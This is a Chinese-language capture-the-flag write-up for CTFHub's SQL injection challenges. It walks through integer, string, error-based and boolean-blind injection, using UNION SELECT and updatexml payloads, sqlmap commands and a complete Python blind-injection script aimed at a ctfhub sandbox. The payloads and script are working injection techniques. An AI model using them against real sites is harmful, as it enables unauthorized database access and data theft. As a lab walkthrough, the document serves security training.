Ctfhub - web -- SQL注入_ctfhub sql注入

1.整型注入

随便输入一个1，很明显这里已经给出了字段，不需要再order by了

1.数据库名和版本。这里发现是高版本，有information_schema
数据库

-1 union select version(),database()
1

2.查表名

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'
1

3.查flag下的字段名

-1 union select 1, group_concat(column_name) from  information_schema.columns where table_schema='sqli' and table_name='flag'#
1

4.直接拿数据

-1 union select 1, group_concat(flag) from flag
1

over 提交即可

2.字符型注入

基本跟上面差不多
查表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

1
2

查字段名

-1' union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'#

1
2

查数据

-1' union select 1,group_concat(flag) from sqli.flag#

1
2

得到flag提交即可

3.报错注入

ps:报错注入涉及到几个函数，建议去查一下，这里我不做讲解
查数据库

-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)

1
2

查表名

-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema="sqli"),0x7e),1)
1

查字段

-1 union select updatexml(1, concat(0x7e,( select( group_concat(column_name))from information_schema.columns where table_schema='sqli' and table_name='flag'),0x7e),1)
1

查数据

-1 union select updatexml(1, concat(0x7e,( select( group_concat(flag)) from sqli.flag),0x7e),1)
1

加上缺失的大括号提交即可

4.布尔盲注

注入点是id

方法一：sqlmap

python sqlmap.py -u url --current-db --level 5  #爆数据库名
python sqlmap.py -u url -D sqli --tables  #爆表
python sqlmap.py -u url -D sqli -T flag --dump level 5 #爆字段 
1
2
3

数据库名字
爆表

爆flag表下字段

方法二：python脚本

如果不用sqlmap 这里加一个写好的脚本，可以直接跑。跑完大概两分钟吧。

# -*- coding = utf-8 -*-
# @Time : 2022/1/29 19:03
# @Author : WXY
# @File : mangzhu.py
# @SoftWare : PyCharm

import requests

urlOPEN = 'http://challenge-4304e13cfa256d00.sandbox.ctfhub.com:10800/?id='
starOperatorTime = []
mark = 'query_success'


def database_name():
    name = ''
    for j in range(1, 9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
            j, i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)


database_name()


def table_name():
    list = []
    for k in range(0, 4):
        name = ''
        for j in range(1, 9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('table_name:', list)


table_name()


def column_name():
    list = []
    for k in range(0, 3):  # 判断表里最多有4个字段
        name = ''
        for j in range(1, 9):  # 判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('column_name:', list)


column_name()


def get_data():
    name = ''
    for j in range(1, 50):  # 判断一个值最多有51个字符组成
        for i in range(48, 126):
            url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
            j, i)
            r = requests.get(url)
            if mark in r.text:
                name = name + chr(i)
                print(name)
                break
    print('value:', name)


get_data()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

可以看到这里正在爆flag了，我懒得等，最后得到flag提交即可